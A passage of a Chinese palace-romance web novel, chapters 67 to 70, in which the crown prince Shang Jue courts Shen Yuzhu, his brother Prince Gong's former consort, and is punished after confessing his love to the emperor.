她看着半晌没说出话的尚琢,平静地赶客:“话也说了人也看了礼也送了,恭王殿下,臣女就不送您了?慢走。” “等等。”尚琢站起身,将木盒放在桌上,旋即直起身,面色有些不自然,“府里的猫怀孕了,你……你要来看看吗?” …… 一直等尚琢离开,芳菲殿门复而关上,沈玉姝都还有些愣怔。 尚琢用那么拙劣的借口邀请她? 沈玉姝越发觉得尚琢果然脑子不好。 “咔” 一段短促的响指声在她耳边炸响,拉回了她的思绪。 “夫人的心飘到哪里去了?”尚珏的声音从沈玉姝的肩头攀到耳根,强硬地抢夺了她的注意力,“我可还在这,夫人在看谁?” 沈玉姝收回神,稍躲了一下灼热的气息,“没有啊,我不就在这。” “不够,不就是一只猫,至于让你牵肠挂肚?”尚珏蹙了蹙眉,“孤把全京城的猫都给你送过来?” “你别得寸进尺。”沈玉姝神色不变地推远了他的脑袋,“你要在芳菲殿睡也睡了,墙角也听了,还不够?堂堂太子殿下什么时候这么无赖了。” 听她的话,尚珏反而弯起了唇角:“孤一直这样,夫人才知道?” 他上身往下一压,将两人距离骤然拉进,漆黑的山岚眼皱了几分,“他刚才那么骂孤,孤还没说什么。” “那你去说。”沈玉姝红着脸,身子往后倾得不能再倾,依旧避不开压进的人,随即猛地站起身往后退几步,“你去说,我不拦你。” 尚珏笑意不变。 把人惹火了。 他有些遗憾,知晓今日逗人过了火,再逗只怕接下来半月都说不上一句话。 他有些遗憾地叹息一声,耸耸肩, “好吧,不过——” 尚珏微微勾起唇,盯住沈玉姝眼底纸糊的情绪,“东宫里溜进来了一只巴掌大的猫,刚生的没人养,只怕要死了,夫人可要随孤过去看看?” 沈玉姝心念一动,像只兔子试探地伸出爪子,“小猫?” 第67章 第67章撒娇 “嗯,初一溜出去叼的崽,它倒是聪明,还知道带回东宫。”尚珏意兴阑珊地说着,视线不着痕迹地落在沈玉姝身上。 果不其然,闻言沈玉姝的眼睛就微微睁大了几分,纤长上翘的睫毛尾部打在上眼皮。 “初一当妈妈了?”沈玉姝不禁往前走进几步,“可是初一不是才……四五个月吗?” 她已经两个月没见初一了,也不知道那只巴掌大的奶猫现在长成什么样,还记不记得她,所以轻而易举就被尚珏勾了过去,两人之间的距离越来越近。 尚珏站在原地不动,好整以暇地看着沈玉姝靠近自己,唇角一勾,“不知道啊,夫人要不亲自和孤去东宫看看?” 沈玉姝意动的心情在听见“东宫”二字的时候,忽然被迫地凝住了。 东宫人多眼杂,她去了被人瞧见,如何说得清。 “初一总被东宫后院的鹿欺负,最近打架功夫见长。”尚珏不疾不徐地抛出一个钩子,果不其然看见沈玉姝耳尖动了动。 他不动声色地继而道,“身上的毛白色的多了点,胖成球了。” “小猫呢?”沈玉姝追问。 “嗯,它啊,瘦,不知道为什么每天呼噜呼噜叫。” 沈玉姝咬牙,“那是要抱呢!” “哦?”尚珏高高挑起眉,像是意外这个答案,然后叹谓一声,“原来是这样。” “……” 沈玉姝瞪着他。 他们身高差了一个头,沈玉姝不想抬头仰视的话,眼睛就要往上挑,下巴往内缩,原本圆的鹿眼更溜圆,下巴尖细露出一个小小而苍白的尖尖。 活像一只懵懂发怒的鹿。 尚珏喉结微滚。 好半晌,才听沈玉姝小声地说:“……那东宫,有没有别人啊。” 尚珏笑意微深:“当然没有。” …… 东宫和皇宫金纸红墙的装潢完全不一样,框架规整静致,颜色偏淡墨,进了内殿后,装潢风格就更明显了。 沈玉姝忍不住问,“这好像和宫里其他地方不太一样。” 尚珏正收拢脱下的披风,帮沈玉姝也解披风挂在衣珩上,闻言偏眼瞅了墙面一眼,道:“嗯,封太子时候重修的。” 他三言两语说尽了平德帝的偏私,不太在意的模样。 沈玉姝唇张了张,还没来得及说话,殿门忽然嘎吱打开,一个矮胖和蔼的中年女人揣着手小跑迎上来,直直越过尚珏,拉过沈玉姝的手,亲亲热热地笑着:“哎哟,这就是沈小姐吧,长得和天上神仙似的。” 沈玉姝被她的热情弄得发懵,下意识转头看向尚珏。 “柳嫂。”尚珏说,“我母妃去世后,是柳嫂把我带大的。” 沈玉姝被这辈分惊得手一抖,这几乎算是尚珏的母亲了,她于是慌忙问好,“柳嫂……” “哎哟陈芝麻烂谷子的事,你别听殿下说,听陈大人说,小姐是来看猫的?我年纪大了总爱多准备些,备了些点心饭菜,小姐用过晚膳了吗?”柳嫂笑问。 沈玉姝摇摇头。 她和尚珏一觉睡到晚上,此时当真是有点饿了。 闻言,柳嫂的笑意更深了,握着沈玉姝的手不轻不重的在手背拍了几下,“雪青那丫头去寻猫了,小姐您稍等,我去厨房里准备些。” “唔……好,辛苦柳嫂了。”沈玉姝话还没说完,柳嫂便晃着圆滚的身子轻盈地跑走了。 尚珏温和含笑的声音从侧后传来,“本来是要清场的,但总想把你介绍给家里人认识,母妃瞧不着,就见见柳嫂也好。” 声音越来越近,颀长的人影在沈玉姝身侧站立,他漆黑的眼瞳往沈玉姝鼻尖一瞧,含着点笑,“宫里再没别人了,夫人不介意吧?” 沈玉姝哪里会介意这个。 她视线从柳嫂离开的背影上扯回来,轻轻摇摇头,“不介意的……” 闻言尚珏笑意渐深,还没来得及说话,就听沈玉姝问:“猫呢?” “……” “陈肆去找了。”尚珏笑意不变,稍低着头注视着沈玉姝的鼻梁位置。 这个凝视点,会让被注视的人既不感到冒犯,又能感觉到对面人的专注。 尚珏视线从鼻梁滑到沈玉姝微躲的睫羽,温声:“夫人既然来了,孤带你在东宫逛——” “不要。” 他的话音完全追不上沈玉姝拒绝的速度,只听见她脆生生的声音,说完顿止,就像本能的拒绝,自己也没反应过来。 尚珏眉头微挑,就听沈玉姝小声说:“……东宫那么大,万一有别人看见怎么办……” 尚珏闻言莞尔,依了沈玉姝,又陪她吃了晚饭,看了两只猫后才将人送了回芳菲殿。 此时夜已经深了,好几处宫门已经上了锁,两人绕了一圈才寻到小路回了芳菲殿。 尚珏没进殿,而是站在檐下台阶上,视线透过沈玉姝身侧一偏,看见殿内香漏,还有一个时辰就是第二日。 沈玉姝半依在门边,两人间有个台阶差,即便这样,她也还是要稍抬起眼看尚珏。 她抿了抿唇,没头没脑地说:“那小猫根本就不是初一生的。” 尚珏眉头一扬:“那是我猜错了。” “……初一那么小,还是小三花,怎么会生出小橘猫。” 尚珏从善如流:“夫人教训的是。” 沈玉姝恼他花言巧语,又不肯理他,二人间便又静默下去。 尚珏像一个老练的猎人,不紧不慢地看着沈玉姝因为羞赧偏头,而露出的耳朵红痣。 他和沈玉姝在一块,即便是只看到她一小块皮肤,他都热得难受。 好半晌,沈玉姝说:“谢谢……你今天给我准备的礼物。” “为什么要谢谢。”尚珏微哑着嗓音,偏看向她白腻的鼻尖问。 沈玉姝:“……很累。” 她抬起眼,像是有些纠结,好一会才走上前,伸出手极轻地拢了一下尚珏,“不用费这么多心思,你若是出了事……我、朝中会动乱。” 尚珏没有回抱,在沈玉姝看不见的地方,视线盯住她的后脖,声音有些漫不经心:“只是这样?” “还要什么?”沈玉姝反问,说完就要松开这个拥抱。 但尚珏像是预估到她的动作,速度极快地伸手,将两人适才分开几寸的空间再度压缩,抱得极紧,像是要把沈玉姝融进骨头血肉里。 他闷笑几声,胸腔的震动毫无阻碍地传到沈玉姝的四肢百骸。 过近的接触,让沈玉姝无所适从,她下意识挣扎,却被抱得更紧。 “夫人别动。”尚珏轻笑,“让孤抱一会,太久没抱你了。” “……下午不是亲你了吗。” 尚珏挑眉:“那也叫亲?” “……闭嘴。”沈玉姝不肯再理这个得寸进尺的人,作势要从下面钻出去,却感受到敏感的耳侧被丝丝密密的头发左右磨了几下,听一声叹谓,从耳根传进大脑—— “不闹你了,那我们下次什么时候再见?” 沈玉姝落荒而逃。 她这两月严苛坚守的底线模糊的像团雾。 ***** 两人都很忙,那天之后,沈玉姝许久没再见过尚珏。 时间一转到了三月初一。 她近日恶心的毛病犯得更奇怪了,想吃,但吃完总吐,不吃更想吐,雪青几次要去寻太医,都被沈玉姝拦了下来。 一是她不想让别人知道雪青在照顾她,二是她总觉得不是什么好事,看了太医徒增烦恼。 今日一早,她 收拾了东西便往极华殿去,大半堂课结束,沈玉姝给以云布置了课业,自己则走到外间喝茶休息一下有些沙哑的嗓子。 忽然,“叩叩”两声。 沈玉姝敏感地抬眼,望向传来声音的窗边,隐约能看见一道被琉璃窗糊开的人影。 她心中隐有猜想,走上前去将窗推开了臂宽,没了窗的阻碍,一股沉淡的味道顿时染上她的鼻尖。 沈玉姝心念一动:“尚珏?” 一声轻笑传来,“夫人知道是我?” “……笨蛋才不知道呢。”沈玉姝撑在窗沿上的手收回来,撇撇嘴,正要再说什么,内殿就传来以云的大喊声,“娘子!我做完啦!” 沈玉姝答应一声,与尚珏说:“等我的话,还要再等一个时辰喔。” “好啊,我在这等夫人。” 沈玉姝看不见尚珏的脸,却也能轻而易举想象出他挪揄含笑的眼。 在给以云授课的极华殿和尚珏说这些私密话,沈玉姝有些不好意思,便胡乱应了一声,匆忙回了内殿。 走时还不忘了关掉撑起来的支摘窗,窗户落下时,她清楚地听见外面传来的一声不含别意的轻笑。 她几乎是逃也似的进了内殿,给以云讲完课业,前后不过半个时辰,再看窗户时那道人影已经不见了。 沈玉姝微微歪了一下头。 是突然有事吗?她这么想着,便没再在意,专心给以云授课。 殿外。 尚珏离开的身影立在极华殿前院,身形如松。 他端站着,含着笑的眼尾微微上挑注视着来人,极温润的模样,任谁也瞧不出他私底下的恶劣。 来人似乎没想到会在这看见尚珏,愣怔一下行了礼:“皇……太子殿下。” 尚珏笑意微淡,声音疏离:“恭王怎么突然来了这。” 第68章 第68章“你爱我” 其实从尚琢的角度来说,这副模样的尚珏是很陌生的。 出于角逐者的立场,他向来不待见这个各方面压自己一头的二皇兄。 尚珏冷硬带着些惘闻无所的语气,让尚琢无端想起了幼年和尚珏的第一次见。 —— 尚琢出生时,丽妃还只是一个靠艳丽容貌上位,家室不显的张嫔。 他两岁磕磕绊绊的背诗时,张嫔说他以后一定大有作为,说不定还能和尚琰争一争皇位,幼子不懂其意,只大致听懂其中欣悦自满的意思,隐约发觉自己随口背的东西,是极为了不得的。 见到尚珏时,那时蠢笨的书童跌翻了他的笔墨,连声磕头道错。 即便是年幼的尚琢依旧不喜凌乱,更遑论第一次进重华宫,就在在人来人往的廊下出这么大丑,他眉头一皱,怒气未起,只听后方传来一道极有规律且轻缓的脚步,隐约听到白玉相撞的清脆声。 他带着越起的怒意,对上来人一双温柔得像蕴着一汪湖的眼睛。 他一瞬间无所遁形。 来人黑亮的眼滑着视线,从下往上划过尚琢的眼睛,温笑了声,“不过是一些笔墨。”他偏眼,一旁小太监极有眼色地将书盒递上,被他攥在手中,嵌着金纹的木盒被尚珏随意拎着,极包容地送给尚琢,“拿着吧,让宫人清扫了便是。” 尚琢微怔,不知来人身份,一旁宫人附耳在他耳边小声道:“是德妃娘娘所出的二皇子殿下。” 这点插曲一直到夫子进殿上了课,他年幼,对夫子的问题对答如流。 而一旁金枝玉叶的二皇子却只字不语,尚琢从中隐隐升起一点自满—— 也不过如此,不过就是比我出身好一些,母妃说的果然不错,我的确出众。 临了课下,夫子抛出最后一个问题:“西北十六城,从我朝划给吐蕃多年,争执不下,你们如何看?” 尚琢快速笑着举了手:“西北十六城本归我朝所有,从前忌惮吐蕃实力,但如今我朝军马粮草充实,自然是扬我朝国威,让十六城百姓知道谁才是他们的主人。” 话落,屋里细碎交谈,几声应和响起,“是该如此,我朝根本不忌惮如今的吐蕃,何必让十六城在他们手中,助长他们的气焰。” 尚琢偏眼看着半张脸落在阴影里的尚珏,有些自得地弯了一下唇。 紧接着听夫子古井无波地让他坐下,环视一圈道:“二皇子殿下,你如何看?” 那尊玉像似的人这才动弹起身,恭敬地行礼道:“回夫子,两军交战,以能使敌人举国不战而降是上策,用武力使之降服便稍逊,况兴旺皆百姓苦,交战该以百姓为先,百姓安定才是国家根本。” 他的声音不疾不徐,和先前在廊下,哄着尚琢收下笔墨并无二致,可落在尚琢耳中,却是如雷贯耳。 他好似第一次见到泰山的群山,不可抑制地生出怨怼和嫉妒,一直生到现在。 …… 尚琢思绪回拢,听见自己一如往常的声音道:“听闻以云习书,来看看她。” “还未下学,晚些再来吧。”尚珏淡道。 尚琢眉头一拧:“我等等她就好。” 这个“她”一语双口,但尚珏心知肚明。 哪里是等这个一年不见一次的皇妹,根本是等新来的教习娘子。 尚珏眼底闪着难察浮跃的光,“孤叫以云晚些去恭王府。” 其实只要细听,就能很清楚地觉察出这话里的不对。 尚珏不是一个喜欢对别人闲事多插手的人,更何况只是一个兄长对妹妹的看望。 但尚琢就是没能察觉出异样,可能有,但一闪而过被他忽视了。 他冷硬的眉眼轻轻拧起,显然是觉得有些棘手,还有些隐晦的不满,良久那股郁结陡然一散,他道:“本王不过来看望前王妃,我朝例律有哪句说不可以?” 尚珏垂眸注视他的眼睛:“并无。” 随即道:“但你该知道别人愿不愿意见你,不要总给其他人添麻烦。” 添麻烦。 三个字落在尚琢头上,好像一柄重锤捏碎了心脏,他如同刻上去的表情有一瞬间的龟裂。 他嘴唇翁动,二人在极华殿殿门无声对视。 尚珏好似只是说了某种寻常问话,说完后又还是云淡风轻的模样。 忽的—— 身后正殿门嘎吱打开,以云吵嚷的声音咋咋呼呼传来:“下学啦!本公主要吃蟹粉狮子头!” 尚珏没有回头,平静地看了一眼尚琢,微微一笑:“回去吧。”旋即转进了院子。 尚琢站在原地,脚上仿佛坠了千金,眼睛盯在殿门位置,如何也挪不动一步。 看着殿门的视线不可避免地看见尚珏把以云提溜回来说了几句话,但许久也没见到身后有人再出来。 半晌,尚珏似乎说完了,挥手放了以云离开,随即整了衣襟,抬步进了极华殿。 殿门轰然关上,一寸光也没透出来。 尚琢无暇顾及身上紧绷肌肉带来的痛意,他心中刹那间陡然生出一个疑问—— 沈玉姝没出来,尚珏为什么进去? ***** 极华殿内没有熏香,飘着自然的墨香。 尚珏往里走,轻易看见坐在榻边翻书的沈玉姝。 尚珏心里软的一塌糊涂。 沈玉姝听见动静,把书随手合在膝盖上望过去,扬着脸问他:“你去哪里了?” “拔了几颗院子里的杂草。”尚珏说,他走到沈玉姝身边坐下,“杂草多了影响花生长。” 这话听着有些奇怪,沈玉姝似乎也觉得太子殿下会除草这种事很稀奇,眼睛闪了闪,声音清亮:“你还会除草呀?” “嗯,还会种花。”尚珏说着,倾身在沈玉姝衣襟的领口捻了捻,边答着,“你要学我可以教你。” 然后好像喃喃地说了句:“薄了。” “不要。”沈玉姝没在意他的动作和后话,只断然拒绝。 尚珏退回身子,挑眉:“为什么?” “脏。” “哪里脏?” “好多土。”沈玉姝皱皱鼻子,“而且我怕养不活。” 尚珏笑了下,没逼迫,“行,那看总喜欢吧?” 其实沈玉姝更喜欢花做成的各种糕点,她前些年随家去过一趟大理,那边的鲜花饼又香又甜,这才续上了喜欢吃梅花糕的习惯。 “喜欢。”沈玉姝说。 尚珏笑着没答。 沈玉姝看着他胜券在握的样子就有点生气,于是凑上来发泄似的戳了戳他的肩膀:“……说话。” 尚珏垂眼看了下被临幸的肩膀,又抬眼含笑地看着沈玉姝淡粉的唇:“嗯,我在想,那我多种些给夫人。” 花言巧语。 沈玉姝动了动嘴唇,不知道说没说出来,但尚珏估计是猜到了,似笑非笑的看着她。 沈玉姝也不说话,坦荡地看了一会又自觉不好意思,躲开他的视线,自然垂在榻边的脚也不自然地缩了缩。 尚珏目光不动声色地 一划,淡笑:“先用膳吧,早上是不是又没吃?” “雪青又告状。”沈玉姝撇嘴。 尚珏无奈:“是我猜的,夫人可别冤枉她了。” 他说着,隔着垂下的丝绸衣袖执起沈玉姝的手,牵着走到外殿桌边,上面不知什么时候摆了一个精致的食盒。 等菜式一样样摆好时,沈玉姝已经有点饿了。 她一边压着肚子,一边说:“东宫的厨子手艺真好,闻着就好饿。” “是柳嫂做的。”尚珏将碗筷递给她,然后在沈玉姝身侧坐下,“喜欢的话就常来东宫,柳嫂一直念着你,给你收拾了厢房。” 沈玉姝夹菜的动作一顿,表情微怔:“……啊?” 这种事过于亲密了,相互触及到对方独属的领域,这完完全全击破沈玉姝这段时间对于越发退后底线的掩耳盗铃。 她不可避免地直视,明明分开的两个人越来越亲密的事。 她不喜欢没有名头的暧昧,所以即便是和东家以“皮肉关系”之名在一起,也是一个有确切关系的暧昧。 大抵是沈玉姝面上表情过于纠结,尚珏带着故作轻松的诱哄说:“柳嫂年纪大了,惯喜欢做这些,你不用……” “不是。”沈玉姝蹙着眉打断。 她手上捻着筷子:“我只是……我只是在想,你是个什么态度。” 事情说到这里,饭也吃不下去了,尚珏搁下筷子,面上暧昧抑或是诱哄的情绪全然收拢。 他轻叹一声,尾音拉得极长:“夫人为什么说我是个什么态度呢?这有些不公平吧,分明一直是我在试探你的态度。” 两人距离极近,近到尚珏伸手就能触到沈玉姝的指尖。 但他没有这么做,一双看人总是瞧不清情绪的眼睛,此刻格外认真地看着她的山根:“我的态度不明显吗?” 尚珏说:“是我动机不明,费劲心思缠着你又走进皇家这个摊子,然后缠着你离不开我、喜欢我。”尚珏笑了下,“在你抽身离开后我不甘心。” 沈玉姝动了下指尖。 “不甘心这段感情和席卷的冬季一起消散在下一个年。”尚珏轻缓地凑近沈玉姝,能清楚地看到她白腻肌肤上细小的绒毛,忍到呼吸都粗|喘,才抑制不住倾泻的在她脸颊上极亲昵、清浅地蹭了一下,“因为我觉得你是爱我的。” 沈玉姝哑然。 她在胸口用黑绳挂了许久的书肆钥匙,仿佛生了热度,烫的她心口灼热难受。 她不知道尚珏知不知道这件事,但总之尚珏没说,更是提都没提。 “所以你问我,我的态度。”尚珏执起沈玉姝的手腕,拉着她将她的手心贴在胸口,心跳起搏震动,“我只能说,我做好了如果你不爱我,我就看着你一辈子的准备。” 第69章 第69章“这回我们的关系算是彻…… “你……” 沈玉姝掌心滚得发烫,她的皮肤毫无阻碍地触摸到尚珏的心跳,有一瞬间,她感觉她的脉搏变了频率。 “夫人不用急着回答我。”尚珏用力捉住沈玉姝的手腕,不让她有机会抽离,从而走到任意可以逃离的胡同,“我可以拟令旨盖金印……” “你知道你在说什么吗。”沈玉姝苍白干涩地说着。 “我当然知道。”尚珏轻呼一口气,“句句真言,夫人。” 沈玉姝攒积的勇气在这份缓慢的静默里消耗殆尽,她凝着面前透着疲惫的男人,心中难以抑制地生出陈凉,“我从来没想过做你的太子妃。”她忽然说。 尚珏下意识张口,却在下一瞬被一双柔软、微凉的手捂住。 沈玉姝说:“……你别说话。” 她害怕听见尚珏任意三字,就轻而易举影响了她所有辨别。 她迟疑地说:“我嫁给尚琢的第一天,听说了何之纯的名字,那个时候她还叫‘纯小姐’。” 沈玉姝胡乱寻了个开头,不知何时松开了压在尚珏下半张脸的手。 尚珏瞳孔幽深地盯着她,情绪复杂难辨,却没有打断的意思。 “……第二日的不堪你大抵都知道了,我无意再提,我是一个……”沈玉姝似乎斟酌了一下措辞,“……比较迟钝的人,过了小半月,我才知道何之纯是想做这个恭王妃的。” “但其实,最开始,我也是这么想的,操持中馈侍奉夫家,但是好像并没有得到什么很好的结果。”沈玉姝轻轻动了一下头,将耳朵在肩膀上蹭了一下。 这个动作没什么实际意义,但尚珏注意到了,他伸出手在沈玉姝耳垂处拨了一下,替她止住了那股因为灼热而迸发的痒意。 沈玉姝抿了一下唇,继而说:“我不是何之纯那样的人,我们生活在两种截然不同的生活方式里,所以我无法对她的决定评论,但起码的……我知道我自己应该是过不了那样的生活,我没有力气再把恭王府的日子重复一遍。” 她仰起脸,珍视地看着尚珏:“其实你我都知道,在书肆的那种关系才是对我们最好的。” “不是。”尚珏哑声,神情复杂地说,“我从来没想过让你一直过那种日子。” 一种见不得光,只有彼此偷欢的隐秘愉快的日子。 “三年它还快乐,十年也许还快乐,但十五年呢二十年呢。”尚珏说,“沈玉姝,爱一个人总不舍得她受苦。” “所以你想说我不爱……” “不是。”尚珏打断说,“你怕我们的关系影响我的位置,怕文官的谏言将东宫压垮,怕百姓声言雪片似的传进皇宫——” “但我一个都不怕。” 沈玉姝几乎生出一线怒意:“你是平德帝钦定的储君,你为什么不为他们为你自己想想?!” “我不会。”尚珏说着,一把将沈玉姝拉进怀中,双手用力禁锢着她的身子,鼻腔死死锢着掠夺她身上的味道,“我不会出事的。” 沈玉姝挣扎不动,连双臂都因为挣扎而酸疼,半晌她才像是认命似的放弃,将额头抵在尚珏的肩膀上,几乎生出哀意:“怎么算不会出事?不死也是不会出事,庶人也是不会出事。” “整个东宫、沈家、你和我,一个都不会出事。”尚珏将唇贴在沈玉姝的耳畔,郑重轻缓地承诺。 沈玉姝指尖蜷着,听见他的话,红了一圈的眼眶倏然滚下浑圆晶透的泪,浸湿了尚珏的肩膀衣襟,她死死压着声音吞进起伏震动的胸腔,试图借着这个方式将所有悲戚锁在自己的一方天地里。 好半晌她才强稳着声音,将脸死死埋在尚珏脖颈间说:“今天的话我就当没听见,你也不要再说了,我答应我们复合,如果有一天任何一方成婚……” 后面的话她没说出口,连同呼之欲出的哭腔一同吞进胸腔里。 尚珏没有说话,任何一个象征回应的语气词都没有,好似没有听见这句话一般,如同瓷尊一般站着,直到沈玉姝自觉缓好了情绪,才恍若不知地陪沈玉姝吃完饭,一切如常地将她送回芳菲殿。 ***** 沈玉姝三天后才忽觉她的矫情,于是不肯出门,生怕见到尚珏,想起那天的难堪。 她给慧嫔告了假,直到第五日才回了极华殿给以云授课。 “蔽芾甘棠,勿翦勿伐,召伯所茇。①这句话的意思是……”沈玉姝捧着书卷,心不在焉地说着,好半晌没有后文。 以云搁下书卷,一摊:“沈娘子,你今天怎么啦,不高兴吗?” 沈玉姝回神:“没有,想了点事而已。” 以云撇嘴:“大人真无聊,这几天父皇也总是发呆,都不理我的。”她脑袋一转,“对了,娘子,你有没有见过太子哥哥呀?” 沈玉姝心念微动:“太子?没有。” “那真是怪了,我好久没看见他了。” “兴许是政事太忙。” “才没有,之前太子哥哥去扬州都不忘了给我送书信!”以云气鼓鼓抱着《诗经》滚到一旁。 沈玉姝看一眼:“不准在地上乱滚。” 她嘴上说着,视线也飘向窗外,眉头微蹙。 那日之后尚珏就没再来过,他是 生气她不肯走明道吗? 沈玉姝咬着唇,思绪纷乱地想着。 她私心觉得尚珏当不该那般小气,可是又想不出其他的理由。 大抵当真是忙。 她这么想着,又不免怅然想到先前在书肆时,尚珏抽着空见面的时候。 忽地。 外面脚步声匆匆响起,下一刻殿门被骤然推开,雪青慌张凌乱的发髻神色出现在外面。 沈玉姝骤然一怔,还没来得及说话,就听雪青道:“姑娘,殿下出事了!” 沈玉姝呼吸一止。 / 两人匆忙赶到东宫时,偌大的宫殿里面空无一人。 内殿里充斥着一股喧嚣的血气,只有陈肆站在床边双目通红。 沈玉姝提着裙摆慌忙跑进来,因为发簪掉了而凌乱散落的发髻都没来得及收拾。 她匆匆跑到床边,还没来得及问陈肆发生了什么,就先被趴在床上,脸色苍白如纸一样的尚珏心疼出了满眼泪。 “这是怎么了?”沈玉姝坐在床边,手指想上去触碰,临了又缩回来,生怕打破某种平衡。 陈肆张了张口,但还没说话,床上人就睁开了眼,哑着声音道:“我没事。” 他原本的声线极圆润,像精雕细琢的玉石,现在却粗粝得可怕。 尚珏嘴一闭,索性不说话了,只长臂一捞,将坐在床边的沈玉姝一把捞进怀中,却因为动作太大牵动了伤口,闷哼一声,生生被吞了下去。 沈玉姝吓一跳,忙要挣扎起身,却被摁得更紧。 尚珏似含着痛苦又蕴着笑意的声音在她发顶响起:“别动了,再动伤口就裂了。” 身后的陈肆和雪青不知何时已尽数出去。 沈玉姝先是下意识的一停,随即勃然大怒,“你还知道伤口会裂!” 怒归怒,但连手指都不敢动一下。 像只张牙舞爪的兔子。 尚珏闷笑两声,没再多说,而是轻叹一声,仿佛归巢的倦鸟一般在沈玉姝的颈侧蹭了又蹭,叹谓一声:“总算抱到你了。” 沈玉姝鼻头一酸:“你到底去干嘛了,怎么伤的这么重。” 满朝上下,除了平德帝有这个权利,没人再敢对尚珏动这种刑,几乎是下了死手,若非得了皇命,那群侍卫也不敢动这个手。 “和父皇说喜欢一个有夫之妇。”尚珏平静说。 !! 沈玉姝瞳孔骤然睁大:“你才是有夫之妇!” 尚珏闷笑出声。 随即沈玉姝反应过来:“不对,你怎么和陛下说了!”她心中一慌下意识就要起来。 尚珏根本没说她一星半点,但尚珏自己怎么办?他会不会被拖累,出事怎么办,一朝储君喜欢有夫之妇完全是皇家丑闻,若是平德帝处罚他,即便是她坦白承担只怕也于事无补。 沈玉姝眼中迷茫的惊慌被尚珏尽收眼底。 他手腕一压,将沈玉姝抱的更紧:“别担心,我手里捏着朝中大半人的把柄,相互制衡,我不会出事的,你不要自责,这是我单方面的选择。” 沈玉姝眼圈红了一片,大颗大颗的眼泪滚在高枕上,“我怎么不自责,是我逼你的……” “夫人,你不要钻牛角尖。” 下一刻,干裂、粗糙的唇带着血气的吻落在沈玉姝耳畔,却莫名的抚平了她的自责焦躁。 尚珏似乎是耗费太多体力,此刻用力地吐了一口气才有力气往下继而说:“在和夫人第二次见面时,我就做好了今天的准备,只是提前和延后的区别,既然我说了爱你,就不会空口白牙的要你一句回应,何况,皇后那边逼婚太紧,我也不完全是为了你。” 后半句完全就是为了沈玉姝开脱说出来的借口,尚珏手里握着那么多人的把柄,又怎么会被一个朝不保夕的皇后威胁。 这个道理即便是沈玉姝也想的清楚,所以她心里那股难过就被撕得更大,呼啦啦透着风。 她越哭越大声,最后几乎是抓着尚珏的衣角眼泪开闸。 这副情景把尚珏弄得哭笑不得,他一边摸着沈玉姝的后脑安抚,一边好笑说:“怎么像是水做的一样,哭起来不带停的?” 沈玉姝一顿,随即也不管他受不受伤,伸手在他肩膀上用力一捣,满意地听见男人强忍的闷哼。 “……活该。”沈玉姝带着哭腔说。 “嗯,夫人做得对。”尚珏对她的一切宣泄尽数接纳。 这事是他做的偏激,平白让沈玉姝受了吓,不是他本意却也不得不走一遭棋,他更舍不得有朝一日沈玉姝和他一起直面平德帝的怒火,和天下人的斥骂。 有了这件事在前,众人都只会觉得他强迫弟妹,而非女子水性杨花。 尚珏悬了数日的心总算落下来,将沈玉姝抱的更紧,贪婪地感受她的体温,只觉得一切都值了。 良久,他才埋在沈玉姝颈窝闷声道:“这回我们的关系算是彻底定下了吧?” 第70章 第70章“没白受一番苦,有夫人…… 里面细碎的声音没从正殿传到游廊,雪青和陈肆两个人分立两边守着门。 在这两个人里,陈肆大约才是那个知情者,雪青半懵不懂的,只知道太子和沈小姐莫约有些什么,她忍了一会,没忍住,问:“沈小姐和太子殿下……还会吵架吗?” 陈肆原本绷着脸想事,闻言愣了一下,想到沈玉姝适才那个凶煞模样,表情有些古怪地说:“应该还会吧。” “可是沈小姐都哭了。” “他们分手的时候沈小姐也哭了。” 雪青思考了一会说:“你一点都不懂女孩子。” 陈肆:“?” 他怪异地偏头:不是你问我的吗? / 殿内低低的哭声一抽一抽,他们这个姿势其实很暧昧,让旁人看来,大约多半会猜想是哪对缠绵的情人。 事实也如此,沈玉姝脸埋在尚珏的胸膛,指尖紧紧攥着衣襟扯着拉着,扯出一团凌乱的褶皱。 这大抵是太子殿下衣服最皱的时候。 但太子殿下无暇顾及这些,他有些手忙脚乱,却一不小心牵扯了伤口,疼得他一咧嘴说:“别哭了夫人,您哭的我心疼,原本只是身上疼,现在好了带着心口一起疼。” 沈玉姝咬牙:“疼死你算了。” 这话像某种号角,让气氛陡然一松。 尚珏无声弯了弯眼,手肘一带把人揽的更紧,怀中那点细微的反抗在他手里根本不成气候。 他像是总算了却一桩心事,由内而外松了口气:“别折腾我了,夫人,给句准话?” 沈玉姝紧紧抿着唇,被左右逼问到了一个死胡同,不得不做出回应。 但她像是不想轻易给句答案似的,想了会说:“你……你先告诉我,那天到底发生了什么,为什么突然和陛下坦白。” 她措不及防的话让尚珏一愣,随即失笑:“夫人你真是,一定要打破砂锅问到底吗,不给我留一点面子?” 他半低下头去看沈玉姝,对上她难得坚定倔强的鹿眼,哑然无奈道:“其实也没什么,我只是觉得,如果有些事一定要发生的话, 还是由我来先承担比较好。” 沈玉姝倏然想到那日尚珏说“爱一个人总是舍不得她受苦的”。 她忽的结舌。 ** 五日前,东宫书房。 几日未曾回东宫,雪片似的折子堆了半山。 尚珏随意拿起几本看过去,意料之中的都是刑部停摆的上奏。 陈肆道:“阚家牵进去了不少人,丢进刑部给恭王殿下审,那边因为皇后的缘故拿不了主意,找殿下您又找不到人,审讯的事已经停摆多日了。” 尚珏不置可否地挑了下眉,像是对这事早有所料。 陈肆拿不准太子的主意,揣度着他的神色试探道:“殿下,恕属下直言,为何突然对这个案子推手不管?刑部的折子估摸已经进了御书房,即便是为了摆恭王殿下一道,这样……未免有损殿下您在陛下心中的形象。” 尚珏道,“当然是为了让陛下知道,恭王是个如何也扶不上墙的烂泥。” 这句话让陈肆二丈摸不着头脑,但眼见太子没了再深解释的意思,只得审时度势地闭了嘴。 不过很快他就知道问什么了—— 刘全带着皇帝的圣旨,前后脚传进了东宫,他站在屋内笑眯眯道:“太子殿下,陛下有请。” 尚珏堪称有礼地颔了首,但刘全就是无端从中品出一点尖锐的狠辣来,让他不禁打了个寒颤。 下一刻他听见尚珏说:“请公公带路。” 御书房。 刘全和陈肆都止步在殿外,只剩尚珏一人进了殿。 他一进殿,率先就看见坐在桌后处理公务、鬓角泛白的平德帝,没了那股龙涎香的味道。 尚珏不动声色地行礼:“儿臣见过父皇。” 平德帝没做声,好似没听见一般的批着手上折子。 尚珏也不急,继续维持着行礼的姿势,腰背弓得像一把昂贵、待发的弓。 良久才听上面传来书页极轻的合上碰撞声,随即人声传来:“朕的太子最近在想什么呢。” “你不是一个冲动的人,所以朕想先听听太子的意见。”平德帝声音四平八稳,他目光落在躬身的尚珏身上,神色有些复杂。 